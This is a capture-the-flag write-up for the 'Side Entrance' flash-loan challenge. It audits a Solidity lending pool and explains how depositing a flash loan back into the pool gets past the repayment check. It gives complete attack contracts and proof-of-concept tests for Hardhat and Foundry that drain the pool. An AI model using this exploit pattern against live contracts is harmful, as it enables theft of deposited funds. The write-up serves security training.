ctfwriteup.com
Search…
⌃K

Side Entrance

Description

A surprisingly simple pool allows anyone to deposit ETH, and withdraw it at any point in time.
It has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.
Starting with 1 ETH in balance, pass the challenge by taking all ETH from the pool.

Code Audit

The contract implements 3 functions:
  • deposit()
  • withdraw()
  • flashLoan()
deposit() function:
function deposit() external payable {
unchecked {
balances[msg.sender] += msg.value;
}
emit Deposit(msg.sender, msg.value);
}
Looks ok.
withdraw() function:
function withdraw() external {
uint256 amount = balances[msg.sender];
delete balances[msg.sender];
emit Withdraw(msg.sender, amount);
SafeTransferLib.safeTransferETH(msg.sender, amount);
}
Follows checks-effects-interactions pattern, looks ok.
flashLoan() function:
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore)
revert RepayFailed();
}
At IFlashLoanEtherReceiver(msg.sender).execute{value: amount}() we can call flashLoan() to borrow all the fund in this pool. Next we have to find out a way to bypass the check:
if (address(this).balance < balanceBefore)
revert RepayFailed();
This check can be bypassed by calling deposit() once we receive the flash loan. The attack steps:
  • The attack contract's pwn() function calls flashLoan() to borrow all the fund in the pool. In this step IFlashLoanEtherReceiver(msg.sender).execute{value: amount}() will be called.
  • In attack contract's execute() function call deposit() to deposit the flash loan we just borrowed. At this stage the if (address(this).balance < balanceBefore) check will be bypassed because borrowing and depositing cancel each other.
  • When flashLoan() exits, call withdraw() to take all the money out.

Hardhat Solution

Create an attack contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./SideEntranceLenderPool.sol";
contract Challenge4Attack {
SideEntranceLenderPool public immutable pool;
address public player;
constructor(address _poolAddress, address _playerAddress) {
pool = SideEntranceLenderPool(_poolAddress);
player = _playerAddress;
}
function pwn(uint256 amount) external {
pool.flashLoan(amount);
pool.withdraw();
}
function execute() external payable {
pool.deposit{value: msg.value}();
}
// The receive() function is needed to handle SafeTransferLib.safeTransferETH().
receive() external payable {
(bool success, ) = payable(player).call{value: address(this).balance}("");
require(success, "transfer failed.");
}
}
PoC:
it('Execution', async function () {
const exp = await (await ethers.getContractFactory('Challenge4Attack', player)).deploy(pool.address, player.address);
await exp.pwn(ETHER_IN_POOL);
});

Foundry Solution

Attack contract:
contract Executor is IFlashLoanEtherReceiver {
using Address for address payable;
SideEntranceLenderPool pool;
address owner;
constructor(SideEntranceLenderPool _pool) {
owner = msg.sender;
pool = _pool;
}
function execute() external payable {
require(msg.sender == address(pool), "only pool");
// receive flash loan and call pool.deposit depositing the loaned amount
pool.deposit{value: msg.value}();
}
function borrow() external {
require(msg.sender == owner, "only owner");
uint256 poolBalance = address(pool).balance;
pool.flashLoan(poolBalance);
// we have deposited inside the `execute` method so we withdraw the deposited borrow
pool.withdraw();
// now we transfer received pool balance to the owner (attacker)
payable(owner).sendValue(address(this).balance);
}
receive () external payable {}
}
This implementation is a lot safer than mine. Good work.
PoC:
function exploit() internal override {
vm.startPrank(attacker);
Executor executor = new Executor(pool);
executor.borrow();
vm.stopPrank();
}